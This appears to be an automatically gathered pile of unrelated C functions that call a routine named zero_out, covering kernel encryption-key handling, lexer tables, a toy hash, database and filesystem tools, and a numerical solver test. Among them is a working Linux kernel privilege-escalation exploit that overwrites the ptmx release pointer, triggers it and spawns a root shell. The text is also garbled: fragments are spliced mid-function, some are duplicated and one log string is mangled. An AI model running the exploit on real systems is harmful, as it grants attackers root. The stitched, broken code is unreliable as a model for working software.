static int dek_on_user_removed(dek_arg_on_user_removed *evt) {
int userid = evt->userid;
int key_arr_idx = PERSONA_KEY_ARR_IDX(userid);
/*
* TODO : lock needed
*/
if (!dek_is_persona(userid)) {
DEK_LOGE("%s invalid userid %d\n", __func__, userid);
return -EFAULT;
}
zero_out((char *)&SDPK_sym[key_arr_idx], sizeof(kek_t));
zero_out((char *)&SDPK_Rpub[key_arr_idx], sizeof(kek_t));
zero_out((char *)&SDPK_Rpri[key_arr_idx], sizeof(kek_t));
zero_out((char *)&SDPK_Dpub[key_arr_idx], sizeof(kek_t));
zero_out((char *)&SDPK_Dpri[key_arr_idx], sizeof(kek_t));
#if DEK_DEBUG
dump_all_keys(key_arr_idx);
#endif
dek_aes_key_free(sdp_tfm[key_arr_idx]);
sdp_tfm[key_arr_idx] = NULL;
return 0;
}
static int dek_on_device_locked(dek_arg_on_device_locked *evt) {
int userid = evt->userid;
int key_arr_idx;
if (!dek_is_persona(userid)) {
DEK_LOGE("%s invalid userid %d\n", __func__, userid);
return -EFAULT;
}
key_arr_idx = PERSONA_KEY_ARR_IDX(userid);
dek_aes_key_free(sdp_tfm[key_arr_idx]);
sdp_tfm[key_arr_idx] = NULL;
zero_out((char *)&SDPK_sym[key_arr_idx], sizeof(kek_t));
zero_out((char *)&SDPK_Rpri[key_arr_idx], sizeof(kek_t));
zero_out((char *)&SDPK_Dpri[key_arr_idx], sizeof(kek_t));
zero_out((char *)&SDPK_EDpri[key_arr_idx], sizeof(kek_t));
ecryptfs_mm_drop_cache(userid);
#ifdef CONFIG_SDP_KEY_DUMP
if(get_sdp_sysfs_key_dump()) {
dump_all_keys(key_arr_idx);
}
#endif
return 0;
}
/* inittbl - initialize transition tables
*
* Initializes "firstfree" to be one beyond the end of the table. Initializes
* all "chk" entries to be zero.
*/
void
inittbl(void)
{
int i;
zero_out((char *) chk, ((unsigned) current_max_xpairs * sizeof(int)));
tblend = 0;
firstfree = tblend + 1;
numtemps = 0;
if (usemecs) {
/* Set up doubly-linked meta-equivalence classes; these
* are sets of equivalence classes which all have identical
* transitions out of TEMPLATES.
*/
tecbck[1] = NIL;
for (i = 2; i <= numecs; ++i) {
tecbck[i] = i - 1;
tecfwd[i - 1] = i;
}
tecfwd[numecs] = NIL;
}
}
static int dek_encrypt_dek(int userid, dek_t *plainDek, dek_t *encDek) {
int ret = 0;
int key_arr_idx = PERSONA_KEY_ARR_IDX(userid);
if (!dek_is_persona(userid)) {
DEK_LOGE("%s invalid userid %d\n", __func__, userid);
return -EFAULT;
}
#if DEK_DEBUG
DEK_LOGD("plainDek from user: "******"aes encrypt failed\n");
dek_add_to_log(userid, "aes encrypt failed");
encDek->len = 0;
} else {
encDek->len = plainDek->len;
encDek->type = DEK_TYPE_AES_ENC;
}
} else {
#ifdef CONFIG_PUB_CRYPTO
/*
* Do an asymmetric crypto
*/
if(SDPK_Dpub[key_arr_idx].len > 0) {
ret = dh_encryptDEK(plainDek, encDek, &SDPK_Dpub[key_arr_idx]);
}else{
DEK_LOGE("SDPK_Dpub for id: %d\n", userid);
dek_add_to_log(userid, "encrypt failed, no SDPK_Dpub");
return -EIO;
}
#else
DEK_LOGE("pub crypto not supported : %d\n", userid);
dek_add_to_log(userid, "encrypt failed, no key");
return -EOPNOTSUPP;
#endif
}
if (encDek->len <= 0 || encDek->len > DEK_MAXLEN) {
DEK_LOGE("dek_encrypt_dek, incorrect len=%d\n", encDek->len);
zero_out((char *)encDek, sizeof(dek_t));
return -EFAULT;
}
#if DEK_DEBUG
else {
DEK_LOGD("encDek to user: ");
dump(encDek->buf, encDek->len);
}
#endif
return ret;
}
int main(int argc, char** argv)
{
long code, target;
int pwn;
/* Prepare payload... */
printf("preparing payload buffer...\n");
code = (long)mmap((void*)(TTY_RELEASE & 0x000000fffffff000LL), PAYLOADSIZE, 7, 0x32, 0, 0);
memset((void*)code, 0x90, PAYLOADSIZE);
code += PAYLOADSIZE - 1024;
memcpy((void*)code, &kernel_payload, 1024);
/*
* Now clear the three most significant bytes of the fops pointer
* to the release function.
* This will make it point into the memory region mapped above.
*/
printf("changing kernel pointer to point into controlled buffer...\n");
target = PTMX_FOPS + FOPS_RELEASE_OFFSET;
printf("%ld",target);
zero_out(target + 7);
zero_out(target + 6);
zero_out(target + 5);
/* ... and trigger. */
printf("releasing file descriptor to call manipulated pointer in kernel mode...\n");
pwn = open("/dev/ptmx", 'r');
close(pwn);
if (getuid() != 0) {
printf("failed to get root :(\n");
exit(EXIT_FAILURE);
}
printf("got root, enjoy :)\n");
return execl("/bin/bash", "-sh", NULL);
}
/* expand_nxt_chk - expand the next check arrays */
void
expand_nxt_chk(void)
{
int old_max = current_max_xpairs;
current_max_xpairs += MAX_XPAIRS_INCREMENT;
++num_reallocs;
nxt = reallocate_integer_array(nxt, current_max_xpairs);
chk = reallocate_integer_array(chk, current_max_xpairs);
zero_out((char *) (chk + old_max),
(size_t) (MAX_XPAIRS_INCREMENT * sizeof(int)));
}
void test_hash(){
#define message_size 8
WORDSIZE message[message_size];
WORDSIZE hash_result[8];
unsigned long index;
zero_out(message, message_size);
clock_t begin = clock();
for (index = 0; index < 3000000; index++){
hash_function(message, message_size, hash_result);}
clock_t end = clock();
double time_spent = (double)(end - begin) / CLOCKS_PER_SEC;
printf("Time required: %.2fs\n", time_spent);
printf("%lu%lu%lu%lu%lu%lu%lu%lu\n", hash_result[0], hash_result[1], hash_result[2], hash_result[3], hash_result[4], hash_result[5], hash_result[6], hash_result[7]);}
void public_key_encrypt(unsigned char* message, unsigned long message_size,
unsigned long* output, unsigned long* public_key){
unsigned char key_bytes[message_size * CIPHERTEXT_COUNT], count, key_byte, _key_byte;
unsigned long index, ciphertext_byte[4];
get_random_bytes(message_size * CIPHERTEXT_COUNT, key_bytes);
for (index = 0; index < message_size; index++){
zero_out(ciphertext_byte);
_key_byte = 0;
for (count = 0; count < CIPHERTEXT_COUNT; count++){
key_byte = key_bytes[(index * 16) + count];
_key_byte ^= key_byte;
xor(ciphertext_byte, public_key, key_byte);}
_key_byte ^= message[index];
xor(ciphertext_byte, public_key, _key_byte);
store(output, ciphertext_byte);}}
void hash_function(WORDSIZE* hash_input, WORDSIZE input_length, WORDSIZE* output){
WORDSIZE state[16] __attribute__((aligned(16)));
unsigned long index, block_number, number_of_blocks;
zero_out(state, 16);
number_of_blocks = input_length / 8;
for (block_number = 0; block_number < number_of_blocks; block_number++){
for (index = 0; index < 8; index++){
state[index] ^= hash_input[(block_number * 8) + index] ^ block_number;}
permutation(state);}
block_number += 1;
for (index = 0; index < input_length % 8; index++){
state[index] ^= hash_input[(block_number * 8) + index] ^ 0xFFFFFFFF ^ block_number;}
permutation(state);
for (index = 0; index < 8; index++){
output[index] = state[index];}}
void hash_function(WORDSIZE* hash_input, WORDSIZE input_length, WORDSIZE* output){
WORDSIZE state[16] __attribute__((aligned(16)));
unsigned long index, block_number = 0, number_of_blocks;
zero_out(state, 16);
number_of_blocks = input_length / 8;
if (input_length % 8 == 0){
if (number_of_blocks >= 1){
number_of_blocks -= 1;}}
if (number_of_blocks > 0){
for (block_number = 0; block_number < number_of_blocks; block_number++){
absorb(state, hash_input, 8, (block_number * 8), block_number);}}
int amount = input_length % 8;
if (amount == 0){
amount = 8;}
absorb(state, hash_input, amount, (block_number * 8), (0xFFFFFFFF ^ block_number));
copy(output, state, 8, 0, 0);}
linear_regression::linear_regression(op_ptr X, op_ptr Y, bool degenerate, bool dropout){
m_X = X;
m_Y = Y;
if(dropout)
X = m_noiser = zero_out(X, 0.5f);
determine_shapes(*Y);
determine_shapes(*X);
if(!degenerate) {
m_W = input(cuv::extents[X->result()->shape[1]][Y->result()->shape[1]]);
m_bias = input(cuv::extents[Y->result()->shape[1]]);
m_estimator = mat_plus_vec(prod(X, m_W), m_bias, 1);
}
else
m_estimator = X;
m_loss = mean(sum_to_vec(square(m_estimator-Y), 0));
}
/* We slot in anywhere that's empty in the chain. */
static enum TDB_ERROR COLD add_to_chain(struct tdb_context *tdb,
tdb_off_t subhash,
tdb_off_t new_off)
{
tdb_off_t entry;
enum TDB_ERROR ecode;
entry = tdb_find_zero_off(tdb, subhash, 1<<TDB_HASH_GROUP_BITS);
if (TDB_OFF_IS_ERR(entry)) {
return entry;
}
if (entry == 1 << TDB_HASH_GROUP_BITS) {
tdb_off_t next;
next = tdb_read_off(tdb, subhash
+ offsetof(struct tdb_chain, next));
if (TDB_OFF_IS_ERR(next)) {
return next;
}
if (!next) {
next = alloc(tdb, 0, sizeof(struct tdb_chain), 0,
TDB_CHAIN_MAGIC, false);
if (TDB_OFF_IS_ERR(next))
return next;
ecode = zero_out(tdb,
next+sizeof(struct tdb_used_record),
sizeof(struct tdb_chain));
if (ecode != TDB_SUCCESS) {
return ecode;
}
ecode = tdb_write_off(tdb, subhash
+ offsetof(struct tdb_chain,
next),
next);
if (ecode != TDB_SUCCESS) {
return ecode;
}
}
int dek_generate_dek(int userid, dek_t *newDek) {
if (!dek_is_persona(userid)) {
DEK_LOGE("%s invalid userid %d\n", __func__, userid);
return -EFAULT;
}
newDek->len = DEK_LEN;
get_random_bytes(newDek->buf, newDek->len);
if (newDek->len <= 0 || newDek->len > DEK_LEN) {
zero_out((char *)newDek, sizeof(dek_t));
return -EFAULT;
}
#if DEK_DEBUG
else {
DEK_LOGD("DEK: ");
dek_dump(newDek->buf, newDek->len);
}
#endif
return 0;
}
int main(int argc, char* argv[]){
if(argc != 3){
usage(argv[0]);
return -1;
}
FILE *f;
if(!(f = fopen(argv[1],"r"))){
printf("Error opening file:%s\n",argv[1]);
return -1;
}
fclose(f);
if(!(f = fopen(argv[2],"r"))){
printf("Error opening file:%s\n",argv[2]);
}
char *buf = malloc(get_end(argv[1]));
printf("Reading file to buf\n");
if(!(read_buf(buf,argv[1]))){
printf("Error reading to buffer!\n");
return -1;
}
printf("Erasing %s\n",argv[1]);
if(!(zero_out(argv[1]))){
printf("Error erasing %s\n",argv[1]);
}
printf("Rewriting\n");
if(!(write_buf(buf,argv[1]))){
printf("Error restoring %s\n",argv[1]);
}
printf("freeing memory\n");
free(buf);
printf("Reading buffer\n");
buf = malloc(get_end(argv[1]));
read_buf(buf,argv[1]);
printf("Parsing superblock\n");
struct zfs_superblock *sblk = malloc(sizeof(struct zfs_superblock *));
parse_superblock(argv[1],sblk);
if(!(sblk))
return -1;
printf("Dumping: [allocblk] %d [unallocblk] %d [tblk] %d\n [dataresv] %d [rootfsblk] %d [numoff] %d\n [numofd] %d [fds] %d\n",sblk->allocblk,sblk->unallocblk,sblk->tblk,sblk->dataresv,sblk->rootfsblk,sblk->numoff,sblk->numofd,sblk->fds);
printf("Finding datablock\n");
int db = find_datablk(*sblk,argv[1]);
if(db < 0){
printf("Error finding datablock!\n");
return -1;
}
printf("freeing buffer\n");
free(buf);
printf("Allocating memory\n");
buf = malloc(get_end(argv[2]));
if(!(buf)){
printf("Error allocating %d bytes of memory!\n",get_end(argv[2]));
}
printf("Reading buffer\n");
if(!(read_buf(buf,argv[2]))){
printf("Error reading buffer!\n");
return -1;;
}
printf("Parsing file\n");
struct data *d = parse_file(buf,argv[1],argv[2]);
if(!(d)){
printf("Error parsing file!\n");
return -1;
}
printf("Dumping: [alloc] %d [islongname] %d [namelen] %d [name] %s\n [type] %d [offset] %d [endingpos] %d [blockpos] %d\n [startingblock] %d [endingblock] %d\n"
,d->alloc,d->islongname,d->namelen,d->name,d->type,d->offset,d->endingpos,d->blockpos,d->startingblock,d->endingblock);
printf("Writing datablock\n");
if(!(write_datablk(*sblk,d,argv[1],db))){
printf("Error writing datablock!\n");
return -1;
}
}
int mkfs_minfs(struct minfs_superblock *sblk,struct inode *inode,char *output){
zero_out(output);
FILE *f = fopen(output,"wb");
if(!(f))
return -1;
// zero_out(output);
fseek(f,1024,SEEK_SET);
//char blksz[] = {sblk->blocksize / 100,sblk->blocksize % 100};
//fputc(sblk->blocksize,f);
printf("Writing superblock\n");
char blksz = (sblk->blocksize >> 16);
char blksz1 = sblk->blocksize >> 8;
printf("Writing block size\n");
fputc(blksz,f);
fputc(blksz1,f);
//fputc(blksz1,f);
printf("Writing block information\n");
fputc(sblk->starting_block,f);
fputc(sblk->starting_inode,f);
/*printf("Writing file information\n");
fputc(sblk->numoffiles,f);
fputc(sblk->numofdirs,f);
printf("Writing files\n");
int i = 0;
while(i < sblk->numoffiles){
fprintf(f,"%s",sblk->filenames[i]);
fputc(sblk->fpntrs[i],f);
fputc(TERMINATE,f);
i++;
}
i = 0;
printf("Writing directories\n");
while(i < sblk->numofdirs){
fprintf(f,"%s",sblk->dirnames[i]);
fputc(sblk->dpntrs[i],f);
fputc(TERMINATE,f);
i++;
}*/
// printf("Writing misc block\n");
//fputc(SUPERBLKTERMINATE,f);
//fprintf(f,"%s",
// fputc(0,f);
// fputc(0,f);
// fputc(5,f);
/*fputc(blksz[0],f);
fputc(blksz[1],f);
if(sblk->starting_block < 10){
fputc(0,f);
fputc(0,f);
fputc(sblk->starting_block,f);
//fputc(0,f);
//fputc(0,f);
}
else if(sblk->starting_block < 100){
fputc(0,f);
fputc(sblk->starting_block / 10,f);
fputc(sblk->starting_block % 10,f);
//fputc(0,f);
}
else if(sblk->starting_block < 1000){
fputc(sblk->starting_block / 100,f);
fputc((sblk->starting_block % 100) / 10,f);
fputc(sblk->starting_block % 10,f);
}
else{
printf("Starting Block too large!\n");
return -1;
}
if(sblk->starting_inode < 10){
fputc(0,f);
fputc(0,f);
fputc(sblk->starting_inode,f);
//fputc(0,f);
//fputc(0,f);
}
else if(sblk->starting_inode < 100){
fputc(0,f);
fputc(sblk->starting_inode /10,f);
fputc(sblk->starting_inode %10,f);
//fputc(0,f);
}
else if(sblk->starting_inode < 1000){
fputc(sblk->starting_inode / 100,f);
fputc((sblk->starting_inode % 100) / 10,f);
fputc(sblk->starting_block % 10,f);
}
else{
printf("Starting inode too large!\n");
return -1;
}*/
fseek(f,2048,SEEK_SET);
printf("Writing rootfs block\n");
fputc(0x42,f);
fputc(0x69,f);
fputc(0x04,f);
fputc(0x00,f);
fputc(0x00,f);
fputc(5,f);
fseek(f,2560,SEEK_SET);
printf("Writing info block\n");
fputc(0x42,f);
fputc(0x69,f);
fputc(0x01,f);
fputc(0x00,f);
fputc(0x01,f);
fputc('/',f);
fputc(0x00,f);
printf("Writing misc block\n");
fseek(f,5120,SEEK_SET);
fputc(0,f);
fputc(0,f);
fputc(1,f);
fputc(0,f);
fputc(0,f);
fputc(0,f);
fputc(0,f);
fputc(0,f);
fputc(0x04,f);
fputc(0,f);
fputc(0x20,f);
fputc(0xFF,f);
fputc('/',f);
fputc(0x20,f);
fputc(0xFF,f);
fclose(f);
}
static long dek_do_ioctl_req(unsigned int minor, unsigned int cmd,
unsigned long arg) {
long ret = 0;
void __user *ubuf = (void __user *)arg;
switch (cmd) {
case DEK_IS_KEK_AVAIL: {
dek_arg_is_kek_avail req;
DEK_LOGD("DEK_IS_KEK_AVAIL\n");
memset(&req, 0, sizeof(dek_arg_is_kek_avail));
if(copy_from_user(&req, ubuf, sizeof(req))) {
DEK_LOGE("can't copy from user\n");
ret = -EFAULT;
goto err;
}
req.ret = is_kek_available(req.userid, req.kek_type);
if(req.ret < 0) {
DEK_LOGE("is_kek_available(id:%d, kek:%d) error\n",
req.userid, req.kek_type);
ret = -ENOENT;
goto err;
}
if(copy_to_user(ubuf, &req, sizeof(req))) {
DEK_LOGE("can't copy to user req\n");
zero_out((char *)&req, sizeof(dek_arg_is_kek_avail));
ret = -EFAULT;
goto err;
}
ret = 0;
}
break;
/*
* Request to generate DEK.
* Generate DEK and return to the user
*/
case DEK_GENERATE_DEK: {
dek_arg_generate_dek req;
DEK_LOGD("DEK_GENERATE_DEK\n");
memset(&req, 0, sizeof(dek_arg_generate_dek));
if(copy_from_user(&req, ubuf, sizeof(req))) {
DEK_LOGE("can't copy from user req\n");
ret = -EFAULT;
goto err;
}
dek_generate_dek(req.userid, &req.dek);
if(copy_to_user(ubuf, &req, sizeof(req))) {
DEK_LOGE("can't copy to user req\n");
zero_out((char *)&req, sizeof(dek_arg_generate_dek));
ret = -EFAULT;
goto err;
}
zero_out((char *)&req, sizeof(dek_arg_generate_dek));
break;
}
/*
* Request to encrypt given DEK.
*
* encrypt dek and return to the user
*/
case DEK_ENCRYPT_DEK: {
dek_arg_encrypt_dek req;
DEK_LOGD("DEK_ENCRYPT_DEK\n");
memset(&req, 0, sizeof(dek_arg_encrypt_dek));
if(copy_from_user(&req, ubuf, sizeof(req))) {
DEK_LOGE("can't copy from user req\n");
zero_out((char *)&req, sizeof(dek_arg_encrypt_dek));
ret = -EFAULT;
goto err;
}
ret = dek_encrypt_dek(req.userid,
&req.plain_dek, &req.enc_dek);
if (ret < 0) {
zero_out((char *)&req, sizeof(dek_arg_encrypt_dek));
goto err;
}
if(copy_to_user(ubuf, &req, sizeof(req))) {
DEK_LOGE("can't copy to user req\n");
zero_out((char *)&req, sizeof(dek_arg_encrypt_dek));
ret = -EFAULT;
goto err;
}
zero_out((char *)&req, sizeof(dek_arg_encrypt_dek));
break;
}
/*
* Request to decrypt given DEK.
*
* Decrypt dek and return to the user.
* When device is locked, private key is not available, so
* the driver must return EPERM or some kind of error.
*/
case DEK_DECRYPT_DEK: {
dek_arg_decrypt_dek req;
DEK_LOGD("DEK_DECRYPT_DEK\n");
memset(&req, 0, sizeof(dek_arg_decrypt_dek));
if(copy_from_user(&req, ubuf, sizeof(req))) {
DEK_LOGE("can't copy from user req\n");
zero_out((char *)&req, sizeof(dek_arg_decrypt_dek));
ret = -EFAULT;
goto err;
}
ret = dek_decrypt_dek(req.userid,
&req.enc_dek, &req.plain_dek);
if (ret < 0) {
zero_out((char *)&req, sizeof(dek_arg_decrypt_dek));
goto err;
}
if(copy_to_user(ubuf, &req, sizeof(req))) {
DEK_LOGE("can't copy to user req\n");
zero_out((char *)&req, sizeof(dek_arg_decrypt_dek));
ret = -EFAULT;
goto err;
}
zero_out((char *)&req, sizeof(dek_arg_decrypt_dek));
break;
}
default:
DEK_LOGE("%s case default\n", __func__);
ret = -EINVAL;
break;
}
return ret;
err:
return ret;
}
static long dek_do_ioctl_evt(unsigned int minor, unsigned int cmd,
unsigned long arg) {
long ret = 0;
void __user *ubuf = (void __user *)arg;
void *cleanup = NULL;
unsigned int size;
switch (cmd) {
/*
* Event while booting.
*
* This event comes per persona, the driver is responsible to
* verify things good whether it's compromised.
*/
case DEK_ON_BOOT: {
dek_arg_on_boot *evt = kzalloc(sizeof(dek_arg_on_boot), GFP_KERNEL);
DEK_LOGD("DEK_ON_BOOT\n");
if (evt == NULL) {
ret = -ENOMEM;
goto err;
}
cleanup = evt;
size = sizeof(dek_arg_on_boot);
if(copy_from_user(evt, ubuf, size)) {
DEK_LOGE("can't copy from user evt\n");
ret = -EFAULT;
goto err;
}
ret = dek_on_boot(evt);
if (ret < 0) {
dek_add_to_log(evt->userid, "Boot failed");
goto err;
}
dek_add_to_log(evt->userid, "Booted");
break;
}
/*
* Event when device is locked.
*
* Nullify private key which prevents decryption.
*/
case DEK_ON_DEVICE_LOCKED: {
dek_arg_on_device_locked *evt = kzalloc(sizeof(dek_arg_on_device_locked), GFP_KERNEL);
DEK_LOGD("DEK_ON_DEVICE_LOCKED\n");
if (evt == NULL) {
ret = -ENOMEM;
goto err;
}
cleanup = evt;
size = sizeof(dek_arg_on_device_locked);
if(copy_from_user(evt, ubuf, size)) {
DEK_LOGE("can't copy from user evt\n");
ret = -EFAULT;
goto err;
}
ret = dek_on_device_locked(evt);
if (ret < 0) {
dek_add_to_log(evt->userid, "Lock failed");
goto err;
}
dek_add_to_log(evt->userid, "Locked");
break;
}
/*
* Event when device unlocked.
*
* Read private key and decrypt with user password.
*/
case DEK_ON_DEVICE_UNLOCKED: {
dek_arg_on_device_unlocked *evt = kzalloc(sizeof(dek_arg_on_device_unlocked), GFP_KERNEL);
DEK_LOGD("DEK_ON_DEVICE_UNLOCKED\n");
if (evt == NULL) {
ret = -ENOMEM;
goto err;
}
cleanup = evt;
size = sizeof(dek_arg_on_device_unlocked);
if(copy_from_user(evt, ubuf, size)) {
DEK_LOGE("can't copy from user evt\n");
ret = -EFAULT;
goto err;
}
ret = dek_on_device_unlocked(evt);
if (ret < 0) {
dek_add_to_log(evt->userid, "Unlock failed");
goto err;
}
dek_add_to_log(evt->userid, "Unlocked");
break;
}
/*
* Event when new user(persona) added.
*
* Generate RSA public key and encrypt private key with given
* password. Also pub-key and encryped priv-key have to be stored
* in a file system.
*/
case DEK_ON_USER_ADDED: {
dek_arg_on_user_added *evt = kzalloc(sizeof(dek_arg_on_user_added), GFP_KERNEL);
DEK_LOGD("DEK_ON_USER_ADDED\n");
if (evt == NULL) {
ret = -ENOMEM;
goto err;
}
cleanup = evt;
size = sizeof(dek_arg_on_user_added);
if(copy_from_user(evt, ubuf, size)) {
DEK_LOGE("can't copy from user evt\n");
ret = -EFAULT;
goto err;
}
ret = dek_on_user_added(evt);
if (ret < 0) {
dek_add_to_log(evt->userid, "Add user failed");
goto err;
}
dek_add_to_log(evt->userid, "Added user");
break;
}
/*
* Event when user is removed.
*
* Remove pub-key file & encrypted priv-key file.
*/
case DEK_ON_USER_REMOVED: {
dek_arg_on_user_removed *evt = kzalloc(sizeof(dek_arg_on_user_removed), GFP_KERNEL);
DEK_LOGD("DEK_ON_USER_REMOVED\n");
if (evt == NULL) {
ret = -ENOMEM;
goto err;
}
cleanup = evt;
size = sizeof(dek_arg_on_user_removed);
if(copy_from_user(evt, ubuf, size)) {
DEK_LOGE("can't copy from user evt\n");
ret = -EFAULT;
goto err;
}
ret = dek_on_user_removed(evt);
if (ret < 0) {
dek_add_to_log(evt->userid, "Remove user failed");
goto err;
}
dek_add_to_log(evt->userid, "Removed user");
break;
}
/*
* Event when password changed.
*
* Encrypt SDPK_Rpri with new password and store it.
*/
case DEK_ON_CHANGE_PASSWORD: {
DEK_LOGD("DEK_ON_CHANGE_PASSWORD << deprecated. SKIP\n");
ret = 0;
dek_add_to_log(0, "Changed password << deprecated");
break;
}
case DEK_DISK_CACHE_CLEANUP: {
dek_arg_disk_cache_cleanup *evt = kzalloc(sizeof(dek_arg_disk_cache_cleanup), GFP_KERNEL);
DEK_LOGD("DEK_DISK_CACHE_CLEANUP\n");
if (evt == NULL) {
ret = -ENOMEM;
goto err;
}
cleanup = evt;
size = sizeof(dek_arg_on_user_removed);
if(copy_from_user(evt, ubuf, size)) {
DEK_LOGE("can't copy from user evt\n");
ret = -EFAULT;
goto err;
}
if (!dek_is_persona(evt->userid)) {
DEK_LOGE("%s invalid userid %d\n", __func__, evt->userid);
ret = -EFAULT;
goto err;
}
ecryptfs_mm_drop_cache(evt->userid);
ret = 0;
dek_add_to_log(evt->userid, "Disk cache clean up");
break;
}
default:
DEK_LOGE("%s case default\n", __func__);
ret = -EINVAL;
break;
}
err:
if (cleanup) {
zero_out((char *)cleanup, size);
kfree(cleanup);
}
return ret;
}
void main1_()
#endif
{
/*
for xpress.com
*/
static Integer IZERO = (Integer) 0;
Integer index, icounter;
Integer n, ii, me, indx, k, i, neleZ, neleA;
Integer *mapA, mapB[1], *mapZ;
Integer *iscratch;
DoublePrecision **iptr;
DoublePrecision *dd, *ee;
Integer rsize, ptr_size;
Integer nprocs, isize;
Integer info, m;
DoublePrecision *scratch, *eval, *dptr;
DoublePrecision *matrixA, *matrixZ;
DoublePrecision **vecA, **vecZ;
DoublePrecision res, t_com;
#ifdef TIMING
static Integer IONE = (Integer) 1;
DoublePrecision time1, time2, timex;
extern TIMINGG test_timing;
#endif
extern void tim_com();
extern void mxend_();
extern void mxinit_(), mxtime_();
extern DoublePrecision mxclock_();
extern void mxpara_();
extern Integer mxnprc_();
extern Integer mxmynd_();
extern void memreq_();
extern Integer ci_size_();
extern DoublePrecision dasum_();
extern void pdspev();
extern void tresid(), ortho();
mxinit_();
me = mxmynd_();
nprocs = mxnprc_();
#ifdef TIMING
test_timing.choleski = 0.0e0;
test_timing.inverse = 0.0e0;
test_timing.conjug = 0.0e0;
test_timing.householder = 0.0e0;
test_timing.pstebz = 0.0e0;
test_timing.pstein = 0.0e0;
test_timing.mxm5x = 0.0e0;
test_timing.mxm25 = 0.0e0;
test_timing.pdspevx = 0.0e0;
test_timing.pdspgvx = 0.0e0;
#endif
/*
while (1) {
*/
icounter = 20;
m = 20;
while(1) {
n = 2*icounter + 1;
nprocs = mxnprc_();
printf(" n = %d nprocs = %d \n", n, nprocs);
if ((dd = (DoublePrecision *) malloc( n * sizeof(DoublePrecision))) == NULL ) {
fprintf(stderr, " me = %d: ERROR in memory allocation, not enough memory for dd %d \n", me, n );
exit(-1);
}
if ((ee = (DoublePrecision *) malloc( n * sizeof(DoublePrecision))) == NULL ) {
fprintf(stderr, " me = %d: ERROR in memory allocation, not enough memory for ee %d \n", me, n );
exit(-1);
}
if ((mapA = (Integer *) malloc( n * sizeof(Integer))) == NULL ) {
fprintf(stderr, " me = %d: ERROR in memory allocation, not enough memory for mapA %d \n", me, n );
exit(-1);
}
if ((mapZ = (Integer *) malloc( n * sizeof(Integer))) == NULL ) {
fprintf(stderr, " ERROR in memory allocation, not enough memory for mapZ \n");
exit(-1);
}
/*
set the column mapping of processors
*/
for ( ii = 0; ii < n; ii++ ) {
indx = ( ii % nprocs);
mapA[ii] = indx;
}
for ( ii = 0 ; ii < n; ii++ ) {
indx = ( ii % nprocs);
mapZ[ii] = indx;
}
/*
for symmetric matrix with this data distribution
*/
ii = ci_size_( &me, &n, mapA );
neleA = ii;
if ( ii > 0 ) {
if ( (matrixA = (DoublePrecision *) malloc( ii * sizeof(DoublePrecision))) == NULL ) {
fprintf(stderr, " me %d ERROR in memory allocation, not enough memory for matrixA memory size = %d \n", me, ii);
exit(-1);
}
}
ii = countlist ( me, mapA, &n );
if ( ii > 0 ) {
if ( ( vecA = ( DoublePrecision ** ) malloc ( ii * sizeof(DoublePrecision *))) == NULL ) {
fprintf(stderr, "me = %d: ERROR in memory allocation, not enough memory for vecA %d \n", me, ii );
exit(-1);
}
}
else {
if ( ( vecA = ( DoublePrecision ** ) malloc ( n * sizeof(DoublePrecision *))) == NULL ) {
fprintf(stderr, "me = %d: ERROR in memory allocation, not enough memory for vecA %d \n", me, n );
exit(-1);
}
}
i = 0;
dptr = matrixA;
for ( indx = 0; indx < n; indx++ ) {
if ( mapA[indx] == me ) {
vecA[i] = dptr;
i++;
dptr += ( n - indx);
}
}
/*
wilkinson's matrix
*/
ee[0] = 0.e0;
for ( indx = 1; indx < n; indx++)
ee[indx] = 1.0e0;
/*
ee[indx] = 1.e0;
*/
i = 0;
for ( indx = 0; indx < m; indx++){
dd[indx] = (DoublePrecision) ( m-indx );
if ( mapA[indx] == me ){
vecA[i][0] = (DoublePrecision) ( m-indx );
vecA[i][1] = 1.;
i++;
}
}
dd[m] = 0.e0;
if ( mapA[m] == me ) {
vecA[i][0] = 0.;
vecA[i][1] = 1.;
i++;
}
for ( indx = m+1; indx < n; indx++){
dd[indx] = (DoublePrecision) indx-m;
if ( mapA[indx] == me ){
vecA[i][0] = (DoublePrecision) indx-m;
if ( indx != n-1)
vecA[i][1] = 1;
i++;
}
}
/*
use the utility routine count_list to determine the number of columns of Z that are stored
on this processor using the cve distribution
*/
ii = countlist ( me, mapZ, &n );
if ( ( vecZ = ( DoublePrecision ** ) malloc ( ii * sizeof(DoublePrecision *))) == NULL ) {
fprintf(stderr, "me = %d: ERROR in memory allocation, not enough memory for vecA allocation = %d \n", me, ii);
exit(-1);
}
if ( (matrixZ = (DoublePrecision *) malloc( ii * n * sizeof(DoublePrecision))) == NULL ) {
fprintf(stderr, "me = %d: ERROR in memory allocation, not enough memory for matrixZ \n", me);
exit(-1);
}
neleZ = ii*n;
dptr = matrixZ;
k = 0;
for ( i = 0; i < ii; i++ ) {
vecZ[i] = dptr;
dptr += n;
}
if ( (eval = (DoublePrecision *) malloc( n * sizeof(DoublePrecision ))) == NULL ) {
fprintf(stderr, "me = %d: ERROR in memory allocation, not enough memory for eigenvalue space \n", me);
exit(-1);
}
index = 1;
/*
fprintf(stderr, "me = %d: just before memreq \n", me);
*/
rsize = 0;
isize = 0;
ptr_size = 0;
iscratch = ( Integer *) malloc( 6*n*sizeof(Integer));
memreq_( &index, &n, mapA, mapB, mapZ, &isize, &rsize, &ptr_size, iscratch );
/*
fprintf(stderr, "me = %d: just after memreq isize = %d rsize = %d ptr_size %d \n", me, isize, rsize, ptr_size);
*/
free(iscratch);
if ( (iscratch = (Integer *) malloc( 4* isize * sizeof(Integer))) == NULL ) {
fprintf(stderr, " me = %d ERROR in memory allocation, not enough memory for integer scratch space \n", me);
exit(-1);
}
if ( (scratch = (DoublePrecision *) malloc( 4*rsize * sizeof(DoublePrecision))) == NULL ) {
fprintf(stderr, " me %d ERROR in memory allocation, not enough memory for DoublePrecision scratch space \n", me);
exit(-1);
}
if ( (iptr = (DoublePrecision **) malloc( 4*ptr_size * sizeof(DoublePrecision *))) == NULL ) {
fprintf(stderr, " me %d ERROR in memory allocation, not enough memory for pointer scratch space \n", me);
exit(-1);
}
if( me == 0 )
fprintf(stderr, " Wilkinson \n" );
for ( ii = 0; ii < 1; ii++ ) {
/* set data modified by pdspevx */
zero_out( neleZ, matrixZ );
zero_out( neleA, matrixA );
for ( k = 0; k < n; k++ ) {
indx = ( k % nprocs);
mapZ[k] = indx;
}
k = 0;
for ( indx = 0; indx < n; indx++ ){
if ( me == mapA[indx] ) {
vecA[k][0] = dd[indx];
if ( indx != n-1 )
vecA[k][1] = ee[indx+1];
k++;
}
}
#ifdef TIMING
time1 = mxclock_();
mxsync_();
time1 = mxclock_();
#endif
mxtime_( &IZERO, &t_com );
